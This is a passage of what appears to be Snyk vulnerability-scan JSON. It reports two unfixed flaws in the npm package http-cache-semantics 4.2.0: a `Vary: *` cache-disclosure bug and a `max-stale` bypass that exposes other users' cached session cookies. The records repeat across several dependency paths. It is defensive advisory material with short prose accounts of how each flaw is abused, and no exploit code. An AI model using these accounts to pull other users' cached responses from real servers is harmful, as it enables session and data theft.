"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmversion@8.0.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmversion@8.0.4", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], 